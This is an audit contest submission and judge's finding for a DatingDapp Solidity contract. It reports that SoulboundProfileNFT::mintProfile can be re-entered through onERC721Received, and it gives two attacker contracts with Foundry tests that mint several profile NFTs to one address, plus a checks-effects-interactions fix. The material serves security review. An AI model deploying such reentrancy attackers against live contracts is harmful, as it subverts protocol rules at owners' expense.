DatingDapp
AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

SoulbounProfileNFT::mintProfile can be reentrant

rahmannnn23450

Root + Impact

Description

  • Each address is meant to hold a single profile. mintProfile enforces this with require(profileToToken[msg.sender] == 0) (L31), and profileToToken is set after the NFT is minted.

  • However, mintProfile calls _safeMint (L34) before it sets profileToToken[msg.sender] (L38). When the caller is a contract, _safeMint calls its onERC721Received hook, and the contract can call mintProfile again from inside that hook. At that point profileToToken[msg.sender] is still 0, so the require passes again and a second profile NFT is minted.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId); // external call to msg.sender (onERC721Received) before state is updated
​
_profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId; // set only after the external call
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Risk

Likelihood: High

  • This occurs at any time, for any address. The attacker only needs to deploy a contract that implements onERC721Received and calls mintProfile from it. No privileged access or special conditions are required.

Impact: Low

  • The "one profile per address" rule is broken: a single address can hold several profile NFTs.

  • Only one token ID stays tracked in profileToToken (the outer call's, since it writes last). The other NFTs are untracked, so blockProfile and burnProfile, which only burn profileToToken[user], cannot remove them, and they stay owned by the attacker with their metadata.

  • LikeRegistry reads profileToToken, not NFT balances, so matching and rewards are not directly affected.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../src/SoulboundProfileNFT.sol";
​
contract ReentrantProfileMinter is IERC721Receiver {
SoulboundProfileNFT public nft;
bool private reentered;
​
constructor(SoulboundProfileNFT _nft) {
nft = _nft;
}
​
function attack() external {
nft.mintProfile("Attacker", 25, "ipfs://profile");
}
​
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if (!reentered) {
reentered = true;
nft.mintProfile("Attacker2", 25, "ipfs://profile2"); // profileToToken is still 0 here
}
return IERC721Receiver.onERC721Received.selector;
}
}
​
contract MintProfileReentrancyTest is Test {
SoulboundProfileNFT nft;
​
function setUp() external {
nft = new SoulboundProfileNFT();
}
​
function testReentrancyMintsMultipleProfiles() public {
ReentrantProfileMinter attacker = new ReentrantProfileMinter(nft);
attacker.attack();
​
assertEq(nft.balanceOf(address(attacker)), 2); // two profile NFTs for one address
assertEq(nft.ownerOf(1), address(attacker));
assertEq(nft.ownerOf(2), address(attacker));
assertEq(nft.profileToToken(address(attacker)), 1); // token 2 is not tracked
}
}

Recommended Mitigation

Update all state before the external call (checks-effects-interactions), so the reentrant call fails the require at L31:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
​
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Alternatively, you can use OpenZeppelin's ReentrancyGuard and add the nonReentrant modifier to mintProfile.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!